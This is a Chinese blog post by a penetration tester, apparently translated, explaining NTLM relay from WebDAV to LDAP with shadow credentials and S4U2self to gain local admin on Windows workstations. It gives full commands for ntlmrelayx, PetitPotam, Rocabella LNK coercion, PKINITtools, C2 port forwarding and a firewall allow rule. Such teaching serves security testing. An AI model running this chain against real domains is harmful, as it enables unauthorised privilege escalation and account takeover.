在 60 秒内获取本地管理员权限

Local Admin In Less Than 60 Seconds (Part 1) 

大家好！欢迎来到这一篇博客文章，我们将探索 Active Directory 利用的神奇世界。

介绍

几个月前，我在 Security BSides Athens 2024 上做了一个关于我最喜欢的攻击的演讲，我经常在“非隐蔽”渗透测试中使用它。我称之为“非隐蔽”，因为如果你试图保持低调，这种 TTP 往往会有点“响亮”。

NTLM 中继是一种老式攻击，但在今天仍然具有相关性，因为它可以拦截身份验证流量，并允许攻击者冒充客户端对同一或不同服务。大多数人都熟悉经典的 NTLM 中继攻击，这些攻击通常利用 SMB 签名的缺失或 MSSQL 中的错误配置。

然而，如果我告诉你，你可以从 Windows 10/11工作站上的低权限域用户开始渗透测试，并在不到60秒内获得本地管理员权限呢？听起来好得令人难以置信，对吧？根据我的朋友 @tkalahan 的说法，这种攻击感觉就像作弊。如果满足某些条件，你可以轻松实现。我同意 Thanos 的看法；这种攻击在内部接触中可能会改变游戏规则。

今天，我将介绍从 WebDAV 到 LDAP 协议的 NTLM 中继攻击，分享我的观点，并比我在 BSides 演讲中更详细地探讨。在深入解释和技术细节之前，我要特别感谢 @AndrewOliveau 和 Matt Creel。我最初从他们那里了解到这种攻击，这激励我进一步研究和实验。

最重要的

首先，这种攻击成功的最关键要求是域控制器必须具有默认配置，其中未强制执行 LDAP 签名和/或 LDAPS 通道绑定设置为“从不”。这种疏忽允许对手滥用 LDAP 这一强大的协议，添加、移动、复制、删除和编辑特定对象，以及修改其特定属性等操作。

通过使用 NetExec 或 LdapSignCheck BOF，你可以轻松识别域控制器上是否强制执行 LDAP 签名和/或 LDAPS 通道绑定设置为“支持时”或“始终”。运行 NetExec 需要凭据，而执行 LdapSignCheck 则必须通过信标进行 C2 远程连接。NetExec 的完整命令是：

nxc ldap <dc_ip> -u '<domain><username>' -p '<password>' -M ldap-checker

根据我的经验，10 个客户中有 9 个没有强制执行 LDAP 签名和/或将 LDAPS 通道绑定设置为“支持时”或“始终”。虽然微软已经发布了 Windows Server 2025 并默认修补了此配置，但许多客户尚未升级。在我看来，与成千上万客户继续使用的旧系统缺乏兼容性以及这些更改可能带来的潜在问题，使事情变得相当困难。然而，看看这种攻击在未来如何生存将会很有趣。

这种攻击的结果

在继续 WebDAV 部分之前，了解这种攻击的结果非常重要。所谓“结果”，是指在强制身份验证和 NTLM 中继之后的结果。如介绍部分所述，通过 NTLM 中继，攻击者可以冒充客户端对同一或不同服务。通过利用 LDAP 协议，攻击者可以修改特定对象的特定属性。

如你所见，这种攻击可以导致影子凭据或基于资源的约束委派（RBCD）。让我简要解释一下这些术语的含义，以防你不熟悉它们。这两种配置有一些相似之处。首先，它们都涉及 Kerberos 协议；其次，它们需要编辑其属性以变得脆弱。

• 影子凭据：这涉及编辑 msDS-KeyCredentialLink属性的值，以包含我们已经拥有私钥的公钥。
• 基于资源的约束委派（RBCD）：这涉及编辑 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值，以包含一个拥有的域计算机帐户的安全描述符。这样，你可以授予访问委派控制权限。

它是如何工作的

根据微软的说法，当用户对象尝试编辑某些敏感属性时，他们会收到“权限不足”错误。这是因为，如果用户有权限修改像 msDS-KeyCredentialLink这样的敏感属性，将会带来安全风险。例如，攻击者可以滥用此权限在帐户中建立持久性。以下是用户对象可以为自己编辑的非敏感属性列表：

• displayName：用户的显示名称。
• telephoneNumber：联系电话号码。
• mail：电子邮件地址。
• streetAddress：实际地址。
• description：关于用户的简短描述。
• mobile：手机号码。
• pager：传呼机号码（如果适用）。
• userPassword：用户自己的密码（如果启用了自助密码重置）。
• homePhone：家庭电话号码。
• givenName：名字。
• sn：姓氏。
• title：职位。

这就是为什么我之前提到，通过利用 LDAP 协议，你可以编辑特定对象及其特定属性。如果你对另一个用户对象具有 GenericWrite、GenericAll 或类似权限，你将获得对其所有属性的完全控制，包括敏感属性。然而，这种情况将被归类为传统的 RBCD 或影子凭据攻击，这超出了我们讨论的范围。

此外，在 Active Directory 环境中具有最高权限的用户对象，如域管理员、企业管理员等，有权限编辑自己的属性。以下图片展示了 @_nwodtuhs 的 PyWhiskers 工具的使用，比较了域管理员（1）和低权限域用户（2）。域管理员可以修改他/她自己的 msDS-KeyCredentialLink 属性，而名为 n.kiriazis 的用户无法执行相关操作。

生活在龙与地下城的世界里，我的问题很简单：如果用户对象不能修改自己的敏感属性并且没有特殊或提升的权限来这样做，那么攻击实际上是如何工作的呢？鼓声响起…… 🥁

你好，我最老的朋友

Web 分布式创作和版本控制（WebDAV）是超文本传输协议（HTTP）的扩展，规定了如何使用 HTTP 进行基本文件操作，如复制、移动、删除和创建。WebDAV 服务的名称是 WebClient。

情况类似；我相信微软继续在某些较新的 Windows 版本中维护这个已弃用的服务，主要是出于兼容性原因，因为许多应用程序，特别是第三方应用程序，仍然依赖它。

下表显示了哪些 Windows 版本默认安装了 WebClient 服务。

如你所见，从 Windows Server 2016 开始，微软移除了 WebClient 服务，但它仍然存在于 Windows 10 和 Windows 11 中。有趣的是：今天大多数工作站使用的是 Windows 10 或 Windows 11！然而，微软已宣布将从所有未来发布的工作站版本中移除此服务。让我们看看这是否真的会发生。

回到基础

在这一点上，我想澄清我们选择使用 WebDAV 而不是 SMB 的主要原因。为了深入理解这一点，让我们从基础开始。NTLM 身份验证由三个消息（也称为操作）组成：

• NTLMSSP_NEGOTIATE：客户端通过发送此消息到服务器来启动身份验证过程。它建立了 NTLM 会话的参数，包括支持的 NTLM 版本和其他配置信息。
• NTLMSSP_CHALLENGE：在接收到协商消息后，服务器回复一个挑战消息。此消息包含一个唯一的、随机生成的随机数（一次性使用的数字），客户端必须使用它来证明其身份，而无需发送实际密码。
• NTLMSSP_AUTH：最后，客户端使用 HMAC-MD5 算法计算响应。此响应是通过将用户密码的 NT 哈希与服务器的挑战（随机数）和附加会话信息进行哈希生成的。

服务器通过确保响应是使用正确的用户/密码创建的来验证客户端的身份。为此，服务器要么：

• 在独立系统的上下文中，使用其自己的 SAM 数据库中存储的 NT 哈希。
• 在 Active Directory 的上下文中，将挑战/响应对转发到域控制器，域控制器从 NTDS.dit 数据库中检索正确的 NT 哈希并使用它来验证客户端的响应。

下图显示了在 Active Directory 上下文中客户端和服务器之间的 NTLM 身份验证过程：

理解上述关系在幕后是如何工作的至关重要。让我们启动 Wireshark 来拦截通过 SMB 的 NTLM 身份验证流量。下图展示了 NTLM 身份验证中涉及的三个通信消息，如前所述。

通过 SMB 的 NTLM

如 Wireshark 捕获所示，之前描述的图表中的三个 NTLM 身份验证消息如下所示。到现在为止，你应该对 NTLM 身份验证的工作原理有一个基本的了解。让我们将注意力转回到本节的主要话题：为什么我们选择 WebDAV 而不是 SMB？注意 Wireshark 捕获中的红色箭头指向一个标记为 MIC 的标志。没错！这代表消息完整性代码（MIC）。

MIC 是一种确保三个 NTLM 消息在传输过程中完整性的功能。它是使用身份验证过程中派生的会话密钥通过 HMAC-MD5 实现的。具体来说，它防止攻击者在中继攻击中篡改 NTLM 消息，包括跨协议中继（例如，从 SMB 到 LDAP）。

虽然 MIC 防止对手删除会话签名标志并专注于维护身份验证过程的完整性，但会话签名通过确保客户端和服务器之间交换的所有数据在整个会话期间保持受保护来保护整个会话。

MIC 由 NTLMSSP_AUTH 消息中的 MsvAvFlags （ 0x0006 ）属性表示，32 位值为 0x00000002。根据微软，MsvAvFlags 字段是 NTLM AV_PAIR 结构的一部分，该结构包含在身份验证过程中客户端和服务器之间交换的与安全相关的属性。此外，MsvAvFlags 是用用户的密码哈希签名的。

下图显示了基于前面示例的 Wireshark 中指示 MIC 存在的 MsvAvFlags 属性。

Wireshark 中的 msvAvFlag

通过 HTTP 的 NTLM

现在我们已经清楚了解了通过 SMB 的 NTLM 身份验证及其 MIC 的作用，让我们继续比较它与通过 HTTP 的 NTLM 身份验证。如下图所示，通过 HTTP 的 NTLM 身份验证也包括相同的三个消息和 MIC。

看起来很相似，对吧？我相信你在想，为什么从 HTTP 到 LDAP 的 NTLM 中继攻击有效，而从 SMB 到 LDAP 的攻击无效。让我们深入一点。让我们回顾一下之前通过 SMB 的 NTLM 身份验证示例，并仔细看看 Negotiate Flags。

请务必记住这些协商标志的值，特别是 Negotiate Key Exchange 和 Negotiate Sign 的值。现在，让我们回到通过 HTTP 的 NTLM 身份验证示例，并更仔细地检查协商标志。

如你所见，在第一个通过 SMB 的 NTLM 示例中，协商标志如协商密钥交换和协商签名设置为 1，而在第二个通过 HTTP 的 NTLM 示例中，它们设置为 0。

根据微软，协商标志定义了身份验证握手期间客户端和服务器之间的各种安全能力。NTLMSSP_NEGOTIATE_KEY_EXCH 标志启用客户端和服务器之间的安全密钥交换，而 NTLMSSP_NEGOTIATE_SIGN 标志启用消息签名，以保护通信期间消息的完整性。

SMB 客户端通常默认启用签名协商标志和 MIC。如果 NTLMSSP_NEGOTIATE_SIGN 设置为 0，则不强制执行 MIC，使客户端和服务器之间传输的数据容易受到篡改。这使得通信暴露于中间人（MitM）攻击，如 NTLM 中继攻击，攻击者拦截并将身份验证过程中继到另一个服务。

历史是我们的遗产

2019 年，simakov_marina 和 YaronZi 在 Black Hat 上展示了他们关于与 NTLM 中继相关的新漏洞的研究。他们演讲的亮点是宣布了 CVE-2019–1040，也称为“Drop The MIC”。

这个漏洞的主要概念是攻击者可以通过从消息中删除 MIC 来修改拦截的 NTLM 身份验证请求。由于 NTLM 协议在所有情况下都不严格执行 MIC 验证，这种修改看起来是合法的。这意味着你可以从 SMB 到 LDAP 进行 NTLM 中继攻击。

下图展示了攻击流程，并详细说明了在“Drop The MIC”漏洞期间 NTLM 身份验证过程的每个阶段执行的操作。

在发现此漏洞并发布相应的补丁后，出现了新的漏洞，包括CVE-2019–1019和CVE-2019–1166。作为回应，微软宣布了额外的缓解措施和补丁，以应对新的威胁。

我现在不会深入探讨这些漏洞；也许将来我会写另一篇关于这些 CVE 的博客文章。同时，你可以阅读官方演讲或观看视频在官方 Black Hat YouTube 频道上。

此外，值得一看的是我的朋友 @taso_x 在 Security BSides Cyprus 2019 上的演讲，他深入探讨了这个漏洞。此外，你可以阅读 @_dirkjan 关于同一主题的这篇有见地的文章。

虽然现在是 2024 年，但你永远不知道；如果你足够幸运，找到一个仍然容易受到 CVE-2019–1040 攻击的旧实现，你可以从 SMB 中继到 LDAP。

要验证目标是否容易受到此 CVE 攻击，Dirk Jan 的 Python 扫描器是一个很好的解决方案，前提是你有网络访问权限和域凭据。根据存储库描述，该工具与目标主机建立连接并发送无效的 NTLM 身份验证请求。如果请求被接受，则主机容易受到攻击。

python3 scan.py <domain>/<username>:'<password>'@<target_ip>

如果目标不易受 CVE-2019–1040 的攻击，让我们探讨攻击者接下来可以做什么。

以低权限用户启动 WebDAV

如前一节所述，WebDAV 在 Windows 10 和 Windows 11 上默认安装，但遗憾的是，它是禁用的。如果您是没有特殊权限的低权限域用户，您将无法启动该服务。如下面的图片所示，低权限用户无法通过打开 services.msc 手动启动服务。

如前图所示，低权限用户 n.kiriazis 无法启动服务，因为按钮不可见。这意味着用户没有执行此操作的适当权限（默认情况下）。此时，有两个选项：第一个是搜索和枚举其他主题，第二个是按照我的步骤进行。

此时，您可能会想，“Nikos，你之前提到过，低权限域用户无法在没有特殊权限的情况下启动 WebClient 服务”。虽然根据微软的说法这是正确的，但在攻击性安全领域，这不一定适用。根据我的经验，十个客户中有十个没有配置以下关于缩略图的策略。这些 GPO 的路径是：用户配置 > 管理模板 > Windows 组件 > 文件资源管理器。

那么，这个默认策略有什么问题呢？对手可以利用某些文件的图标引用来触发并启动服务。此列表中包含的一些文件是：

• LNK 快捷方式
• searchConnector-ms
• library-ms
• URL 快捷方式
• SCF 文件

让我们看看这在实际中是如何工作的。假设我们正在进行一次渗透测试，并且我们拥有工作站的桌面访问权限以及低权限用户的域凭据。我们通过放置信标并获得命令与控制（C2）访问来继续操作。如下面的图片所示，用户 n.kiriazis 不是本地管理员，也没有任何特殊权限。

下一步涉及在目标机器和团队服务器之间设置 SOCKS 代理 和 反向端口转发。SOCKS 代理允许对手通过已建立的隧道从 Kali 攻击机（团队服务器）执行外部工具和命令。同时，反向端口转发将目标机器上特定端口的入站流量重定向到 Kali 上的指定端口。

SOCKS 代理的主要缺点是对手失去了操作安全性（OpSec），因为休眠时间变得交互式。

ℹ️ 在执行反向端口转发命令之前，最好在 Windows 防火墙中创建一个允许规则，以防止当应用程序尝试监听未被允许的端口时出现警报。

New-NetFirewallRule -DisplayName "<rule_name>" -Direction Inbound -Protocol TCP -Action Allow -LocalPort <port_number>

使用 SOCKS 代理的命令是：

socks <port_number>

反向端口转发的命令是：

rportfwd <bind_port> <forward_host> <forward_port>

使用 SOCKS 代理隧道，我们可以运行工具，如 Responder、Farmer 或 Impacket 的 ntlmrelayx，通过指定转发的端口（在我们的例子中是 8082）并等待接收任何传入的连接。

在这个例子中，我将使用带有 Shadow Credentials 攻击选项的 ntlmrelayx。在此攻击中，我们将使用 LDAP 协议中继到域控制器（DC01），目标是受害机器的计算机账户（WS01$）。我们还将使用前面提到的 8082 端口的 HTTP。

proxychains impacket-ntlmrelayx -t ldap://<dc_ip_or_hostname> --shadow-credentials --shadow-target '<machine_account>' -smb2support --http-port <forward_port>

通过使用 Rocabella 工具，你可以轻松生成受特定 GPO 设置影响的文件类型。这个开源的 Go 工具会自动创建如 searchConnector-ms、library-ms、LNK、URL 和 SCF 文件。

在这个概念验证中，我们将使用 LNK 文件类型。以下 Rocabella 命令将生成一个指定端口和目标的 LNK 文件。在我们的场景中，端口设置为 82（绑定端口），目标是 localhost。

Rocabella.exe lnk -t <target> -p <port> -s <share_name_or_file_name> -o <output_name>

为了更好地理解 LNK 文件的结构，让我们检查其属性。如下面的图片所示，如果选择 更改图标…，你会在图标字段中看到 [email protected]。

此时，你有两个选择：1）执行恶意的 LNK 文件，或 2）刷新文件资源管理器以强制身份验证。然而，在监听端，攻击似乎失败了。

攻击失败是因为用户 n.kiriazis 没有权限编辑 WS01$ 计算机账户的 msDS-KeyCredentialLink 属性。然而，即使攻击失败，也可能导致其他幕后操作发生。让我们打开 services.msc 并检查 WebClient 服务是否正在运行。

然而，有几种方法可以以低权限用户身份启动 WebDAV 服务。一些对我这次旅程有帮助的资源包括 @domchell 的这篇关于 NetNTLM 收集的深刻文章和 The Hacker Recipes 的专门文章。

Kerberos 预身份验证

在继续利用部分之前，让我们深入探讨 Kerberos 预身份验证的重要性。首先，必须了解用户/密钥是从用户的哈希密码中派生的，该密码存储在密钥分发中心（KDC）中。预身份验证是用户在 KDC 向其发放票证授予票（TGT）之前进行身份验证的主要步骤。了解 Kerberos 预身份验证在实践中如何工作是至关重要的。与初始请求（KRB_AS_REQ）一起，用户包含预身份验证数据。此数据通常包括用用户密钥加密的时间戳，确保唯一性并防止重放攻击。此外，它还包括经过身份验证的用户名、与 krbtgt 账户关联的服务主体名称（SPN）和一个由用户为每次身份验证尝试生成的唯一编号（nonce）。这些预身份验证的详细信息仅对客户端和 KDC 可理解，加强了身份验证过程的安全性。

下图显示了 KRB_AS_REQ 消息的高级结构：

在收到请求后，KDC 通过解密时间戳来验证用户的身份。如果信息正确，它会以 KRB_AS_REP 消息进行响应。下图说明了 KRB_AS_REQ 和 KRB_AS_REP 的过程：

如上图所示，KRB_AS_REP 消息返回给用户一个 TGT 和一个用用户密钥加密的会话密钥。会话密钥主要用于后续操作，如请求票证授予服务（TGS）票证，而不是直接使用用户的长期密钥。会话密钥的一个大优势是它仅对当前会话有效，而不是对未来的会话有效。这使得用户的长期密钥更安全。然而，我将在未来的博客文章中更详细地解释所有这些内容，正如我对我的“犯罪搭档” @S1ckB0y1337 所承诺的。现在你只需要知道，预身份验证可以通过对称（使用密钥）或非对称（使用证书）方式进行验证。

为了通过证书启用 Kerberos 身份验证，KDC 使用 PKINIT（Kerberos 中初始身份验证的公钥加密）。PKINIT 是 Kerberos 协议的扩展，允许客户端使用公钥加密，特别是 X.509 数字证书，作为传统基于密码的预身份验证的替代方案来对 KDC 进行身份验证。

方法 1：Shadow Relay 攻击

回到黑客业务，我们已经启用了 WebDAV 服务，可以继续执行本地权限提升（LPE）。在这种情况下，我们将结合从 WebDAV 到 LDAP 的 NTLM 中继攻击与 Shadow Credentials 攻击。通过使用强制身份验证（在此示例中，我们将使用 PetitPotam），我们将强制机器在端口 82 上向我们进行身份验证，然后将其转发到团队服务器上的端口 8082。

让我们重新运行 ntlmrelayx 的相同命令：

proxychains impacket-ntlmrelayx -t ldap://<dc_ip_or_hostname> --shadow-credentials --shadow-target '<machine_account>' -smb2support --http-port <forward_port>

PetitPotam 的完整命令：

proxychains python3 PetitPotam.py -u <username> -p '<password>' -d <domain> -dc-ip <dc_ip> <listener>@<port>/<random_share> <target>

要通过 HTTP 使用 PetitPotam 或 PrinterBug 强制进行身份验证，您需要使用 @<端口号> 指定端口号，并附加一个您选择的随机文件名 /<随机文件名>。

从监听器的角度来看，攻击是成功的，因为身份验证是在 WS01$ 账户下进行的，该账户有权限编辑 msDS-KeyCredentialLink 属性。

如前一节所述，只有计算机账户才能修改其特殊属性，例如 msDS-KeyCredentialLink 或 msDS-AllowedToActOnBehalfOfOtherIdentity。

ntlmrelayx 工具建议我们使用 @_dirkjan 的 PKINITtools，并提供了完整的命令。

proxychains python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx <pfx_name> -pfx-pass <pfx_password> <domain>/<machine_account> <exported_ccache_file>

此命令使用从 Shadow Credentials 攻击中生成的 PFX 文件，并使用 PKINIT 为计算机账户请求 TGT。

由于我们已经获得了计算机账户（WS01$）的 TGT，让我们执行 S4U2self 攻击以模拟本地管理员。

S4U2Self（Service for User to Self）Kerberos 扩展的目的是启用对不支持 Kerberos 身份验证的服务的委派，这意味着它们无法直接从客户端用户获取 TGS。S4U2Self 允许服务代表用户向 KDC 请求 TGS。这个过程被称为协议转换。

对于 S4U2self 攻击，我们将再次使用 PKINITtools，特别是 gets4uticket.py 脚本。正如 Matt Creel 在他的文章中提到的那样，请小心使用此命令，因为它可能会很棘手。完整命令是：

proxychains python3 gets4uticket.py kerberos+ccache://<domain>\<machine_acount>:<ccache_of_machine_account>@<dc_fqdn> <spn>@<domain> <username_to_impersonate>@<domain> <exported_ccache_file> -v

之后，您可以使用任何 Impacket 远程工具、SysInternals PSExec 或其他有效方法来传递票据并远程连接到目标。作为概念验证，我们将使用 impacket-wmiexec 以域管理员身份连接到 WS01。

票据限制

在这一点上，许多人可能会说，“任务完成，我获得了域管理员访问权限，所以 GG！”然而，我认为这并不完全准确。让我们探讨一下为什么使用这种 TTP 你并不是真正的域管理员，尤其是当你不在域控制器上时。

回到我们的 wmiexec 半交互式 shell，我们可以观察到管理员用户确实在域管理员组中。

然而，当查看票据的详细信息时，你可以看到票据有四个标志：forwardable、renewable、pre_authent 和 name_canonicalize。

根据微软的说法，这四个票据标志是：

• Forwardable：这意味着票据可以传递给其他服务。例如，如果一个服务需要代表用户访问另一个服务，票据可以被转发给第二个服务。
• Renewable：票据在过期后可以续订，因此用户不必再次登录。旧票据可以被延长而不是获取新票据。
• Pre-authenticated：用户在获取票据之前已经证明了他们的身份。这通常发生在登录时，系统会检查用户的密码或其他凭据。
• Name_canonicalize：票据中的服务或计算机名称已被正确格式化或解析。这在服务名称可能有多种可能格式时很有用（如 server 与 server.domain.local），并确保票据是针对正确的服务。

根据下一张图片，似乎我们无法使用此 TGS 连接到其他服务（即域控制器）。

那么，为什么会这样呢？我们获得了一个域管理员的 TGS，它对 SPN“ CIFS/WS01.HOMELAND.LOCAL ”有效（在我们的案例中）。这意味着我们只能在这个特定主机（ws01.homeland.local）上模拟此用户，而不能在内部网络中的其他主机上。

然而，本地管理员的权限允许我们在这个特定主机上执行比低权限用户更多的操作。我将留给您和您的创造性思维来决定可以做些什么。祝您狩猎愉快！😉

结论

亲爱的读者，我希望您喜欢这篇文章。如果您获得了新知识或发现它对您的工作有帮助，我会很高兴。下次见！😊

参考资料

• Shadow Credentials: Workstation Takeover Edition by Matthew Creel
• The worst of both worlds: Combining NTLM Relaying and Kerberos delegation by Dirk Jan Mollema
• Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover by Elad Shamir
• Kerberos (III): How does delegation work? by BlackArrow
• Workstation-Takeover (gist) by gladiatx0r
• S4U2Pwnage by harmj0y
• GitHub Outflank — C2 Tool Collection